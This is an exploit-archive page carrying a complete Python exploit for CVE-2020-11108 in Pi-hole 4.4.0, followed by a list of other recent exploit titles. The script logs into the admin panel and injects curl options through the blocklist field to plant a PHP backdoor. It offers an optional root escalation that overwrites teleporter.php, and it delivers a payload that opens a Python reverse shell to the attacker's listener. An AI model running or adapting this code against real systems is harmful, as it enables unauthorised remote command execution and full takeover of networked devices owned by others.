Search for hundreds of thousands of exploits

"Pi-hole 4.4.0 - Remote Code Execution (Authenticated)"

Author

Exploit author

Photubias

Platform

Exploit platform

linux

Release date

Exploit published date

2020-05-26

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
# Exploit Title: Pi-hole 4.4.0 - Remote Code Execution (Authenticated)
# Date: 2020-05-22
# Exploit Author: Photubias
# Vendor Advisory: [1] https://github.com/pi-hole/AdminLTE
# Version: Pi-hole <=4.4.0 + Web <=4.3.3
# Tested on: Pi-hole v4.4.0-g9e49077, Web v4.3.3,v4.3.2-1-g4f824be, FTL v5.0 (on Debian 10)
# CVE: CVE-2020-11108

#!/usr/bin/env python3
'''
	Copyright 2020 Photubias(c)        
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        Based (and improved on): https://github.com/Frichetten/CVE-2020-11108-PoC/blob/master/cve-2020-11108-rce.py
        
        File name CVE-2020-11108.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
        
        ## Vulnerable setup instructions (from clean Debian 10-Buster):
        > apt update && apt install -y curl
        > curl -sSL https://install.pi-hole.net | bash
        > pihole checkout web release/v4.3.3
        > cd /etc/.pihole/ && git checkout v4.4
        > pihole -r ## Select reconfigure
        
        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)
        
        Features:
        * Does a reliable check before exploitation (not based on version numbers)
        * Performs normal RCE without Privilege Escalation (wich is more trust worthy)
        * Asks before running Root RCE (as this overwrites certain files)
        * Performs a cleanup in all cases (success / failure)
'''

import urllib.request, ssl, http.cookiejar, sys, string, random
import socket, _thread, time

## Default vars; change at will
_sURL = '192.168.50.130'
_sPASSWORD = '6DS4QtW5'
_iTIMEOUT = 5
_sLOCALIP = '192.168.50.1'
_sFILENAME = 'fun2.php'
_sLOCALNCPORT = '4444' ## Make sure to set up a listener on this port first

## Ignore unsigned certs
ssl._create_default_https_context = ssl._create_unverified_context

## Keep track of cookies between requests
cj = http.cookiejar.CookieJar()
oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def randomString(iStringLength=8):
    sLetters = string.ascii_lowercase
    return ''.join(random.choice(sLetters) for i in range(iStringLength))

def postData(sURL, lData, bEncode = True):
    try:
        if bEncode: oData = urllib.parse.urlencode(lData).encode()
        else: oData = str(lData).encode()
        oRequest = urllib.request.Request(url = sURL, data = oData)
        return oOpener.open(oRequest, timeout = _iTIMEOUT)
    except:
        print('----- ERROR, site down?')
        sys.exit(1)

def getEndpoint():
    if not _sURL[:4].lower() == 'http': sURL = 'http://' + _sURL
    else: sURL = _sURL
    if not sURL[:-1] == '/': sURL += '/'
    if not '/admin' in sURL: sURL += 'admin'
    try:
        oRequest = urllib.request.Request(sURL)
        oResponse = oOpener.open(oRequest, timeout = _iTIMEOUT)
    except:
        print('[-] Error: ' + sURL + ' not responding')
        exit(1)
    if oResponse.code == 200:
        print('[+] Vulnerable URL is ' + sURL)
        return sURL
    else:
        print('[-] Error: ' + sURL + ' does not exist?')
        exit(1)

def startListener(sPayload, iSockTimeout):
    ## Listener must always be on port 80, does not work otherwise
    oSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print('[!] Binding to '+_sLOCALIP+':80')
    oSock.bind((_sLOCALIP,80))
    oSock.settimeout(iSockTimeout)
    oSock.listen()

    while True:
        try: oConn,sAddr= oSock.accept()
        except: break
        print('[+] Yes, we have an incoming connection from '+str(sAddr[0]))
        oConn.sendall(sPayload.encode())
        oConn.close()
        break
    oSock.close()
    print('[!] Closing Listener')

def doLogin(sURL, sPassword):
    sPath = '/index.php?login'
    lData = {'pw':sPassword}
    oResponse = postData(sURL + sPath, lData)
    sResult = oResponse.read().decode(errors='ignore')
    if 'Wrong password' in sResult:
        print('Wrong password')
        sys.exit(1)
    return True

def getToken(sURL):
    sPath = '/settings.php?tab=blocklists'
    oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
    sResult = oResponse.read().decode(errors='ignore')
    if 'id=\'token\'' in sResult:
        return sResult.split('id=\'token\' hidden>')[1].split('<')[0]
    else:
        print('[-] Error in getting a token')
        sys.exit(1)
    
def createBackdoor(sURL, sFilename):
    sToken = getToken(sURL)
    sPath = '/settings.php?tab=blocklists'
    lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o ' + sFilename + ' -d "', 'field':'adlists', 'token':sToken, 'submit':'save'}
    #lData = {'newuserlists':'http://' + _sLOCALIP + '#" -o fun.php -d "', 'field':'adlists', 'token':sToken, 'submit':'saveupdate'}
    oResponse = postData(sURL + sPath, lData)
    if oResponse.code == 200:
        sResult = oResponse.read().decode(errors='ignore')
        arrBlocklists = sResult.split('target="_new"')
        sID = str(len(arrBlocklists)-2)
        print('[+] Creation success, ID is '+sID+'!')
        return sID
    else:
        return ''


def doUpdate(sURL):
    sPath = '/scripts/pi-hole/php/gravity.sh.php'
    try:
        oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
        if oResponse.code == 200: print('[+] Update succeeded.')
        return True
    except:
        print('[-] Error; callback failed, maybe a firewall issue?')
        return False

def callExploit(sURL, sFilename = _sFILENAME):
    sPath = '/scripts/pi-hole/php/' + sFilename
    print('[+] Calling ' + sURL + sPath)
    try:
        oResponse = oOpener.open(urllib.request.Request(sURL + sPath), timeout = _iTIMEOUT)
        if oResponse.code == 200: print('[+] Calling exploit succeeded.')
        print(oResponse.read().decode(errors='ignore'))
    except:
        pass

def removeEntry(sURL, sID):
    print('[+] Cleaning up now.')
    sToken = getToken(sURL)
    sPath = '/settings.php?tab=blocklists'
    lData = {'adlist-del-'+sID:'on', 'newuserlists':'', 'field':'adlists', 'token':sToken, 'submit':'save'}
    oResponse = postData(sURL + sPath, lData)
    if oResponse.code == 200:
        print('[+] Remove success')

def main():
    global _sURL, _sPASSWORD, _iTIMEOUT, _sLOCALIP, _sFILENAME, _sLOCALNCPORT
    if len(sys.argv) == 1:
        print('[!] No arguments found: python3 CVE-2020-11108.py <dstIP> <srcIP> <PWD>')
        print('    Example: ./CVE-2020-11108.py 192.168.50.130 192.168.50.1 6DS4QtW5')
        print('    But for now, I will ask questions')
        sAnswer = input('[?] Please enter the IP address for Pi-Hole ([' + _sURL + ']): ')
        if not sAnswer == '': _sURL = sAnswer
        sAnswer = input('[?] Please enter the your (reachable) IP address to launch listeners ([' + _sLOCALIP + ']): ')
        if not sAnswer == '': _sLOCALIP = sAnswer
        sAnswer = input('[?] Please enter the password for Pi-Hole ([' + _sPASSWORD + ']): ')
        if not sAnswer == '': _sPASSWORD = sAnswer
    else:
        _sURL = sys.argv[1]
        _sLOCALIP = sys.argv[2]
        _sPASSWORD = sys.argv[3]
    
    ## MAIN
    sURL = getEndpoint() ## Will also set the initial SessionID
    doLogin(sURL, _sPASSWORD)
    
    ## Creating backdoor (1) ## the old 'fun.php'
    sFilename = randomString() + '.php'
    sID = createBackdoor(sURL, sFilename)
    
    ## Launch first payload listener and send 200 OK
    _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
    if doUpdate(sURL):
        print('[+] This system is vulnerable!')
    
    ## Question Time
    sAnswer = input('Want to continue with exploitation? (Or just run cleanup)? [y/N]: ')
    if not sAnswer.lower() == 'y':
        removeEntry(sURL, sID)
        sys.exit(0)
    sAnswer = input('Want root access? (Breaks the application!!) [y/N]: ')
    if sAnswer.lower() == 'y': bRoot = True
    else: bRoot = False
    
    if bRoot:
        print('[!] Allright, going for the root shell')
        ## Launch payload listener and send root shell
        _sPayload = '''<?php shell_exec("sudo pihole -a -t") ?>'''
        _thread.start_new_thread(startListener,(_sPayload,5,))
        doUpdate(sURL)
    
        ## Creating backdoor (2), overwriting teleporter.php
        sID2 = createBackdoor(sURL, 'teleporter.php')
    
        ## Launch payload listener for a new 200 OK
        _thread.start_new_thread(startListener,('HTTP/1.1 200 OK\n\nCVE-2020-11108\n',5,))
        doUpdate(sURL)
    
    input('Ok, make sure to have a netcat listener on "' + _sLOCALIP + ':' + _sLOCALNCPORT + '" ("nc -lnvp ' + _sLOCALNCPORT + '") and press enter to continue...')
    
    ## Launch shell payload listener:
    _sPayload = '''<?php
    shell_exec("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"%s\\\",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\"/bin/sh\\",\\"-i\\"]);'")
    ?>
    ''' %(_sLOCALIP, _sLOCALNCPORT)
    #_sPayload = '''<?php system($_GET['cmd']); ?>''' ## this works perfectly, but the URL is authenticated
    _thread.start_new_thread(startListener,(_sPayload,5,))
    doUpdate(sURL)
    
    ## Launching the payload, will create new PHP file
    callExploit(sURL, sFilename)
    
    ## Remove entry again
    if bRoot: removeEntry(sURL, sID2)
    removeEntry(sURL, sID)
    
    if len(sys.argv) == 1: input('[+] All done, press enter to exit')

if __name__ == "__main__":
    main()
Release DateTitleTypePlatformAuthor
2020-07-07"Joomla! J2 JOBS 1.3.0 - 'sortby' Authenticated SQL Injection"webappsphp"Mehmet Kelepçe"
2020-07-07"Sickbeard 0.1 - Remote Command Injection"webappshardwarebdrake
2020-07-07"Online Shopping Portal 3.1 - 'email' SQL Injection"webappsphpgh1mau
2020-07-07"BSA Radar 1.6.7234.24750 - Authenticated Privilege Escalation"webappsmultiple"William Summerhill"
2020-07-07"Microsoft Windows mshta.exe 2019 - XML External Entity Injection"remotexmlhyp3rlinx
2020-07-06"Grafana 7.0.1 - Denial of Service (PoC)"doslinuxmostwanted002
2020-07-06"Fire Web Server 0.1 - Remote Denial of Service (PoC)"doswindows"Saeed reza Zamanian"
2020-07-06"Nagios XI 5.6.12 - 'export-rrd.php' Remote Code Execution"webappsphp"Basim Alabdullah"
2020-07-06"File Management System 1.1 - Persistent Cross-Site Scripting"webappsphpKeopssGroup0day_Inc
2020-07-06"RiteCMS 2.2.1 - Authenticated Remote Code Execution"webappsphp"Enes Γ–zeser"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/48519/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.